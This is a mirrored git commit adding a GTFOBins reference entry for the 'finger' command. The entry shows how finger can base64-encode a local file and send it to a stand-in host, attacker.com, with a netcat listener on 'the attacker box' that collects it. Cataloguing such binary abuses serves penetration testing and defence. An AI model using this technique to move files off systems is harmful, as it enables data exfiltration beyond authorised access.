1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add finger

This commit is contained in:
Emilio Pinna 2018-09-12 22:35:41 +01:00
parent 7f00970f59
commit 3125617475

11
_gtfobins/finger.md Normal file

@ -0,0 +1,11 @@
---
description: |
`finger` hangs waiting for the remote peer to close the socket.
functions:
upload:
- description: Send a binary file to a TCP port. Run `sudo nc -l -p 79 | base64 -d > "file_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.
code: |
RHOST=attacker.com
LFILE=file_to_send
finger "$(base64 $LFILE)@$RHOST"
---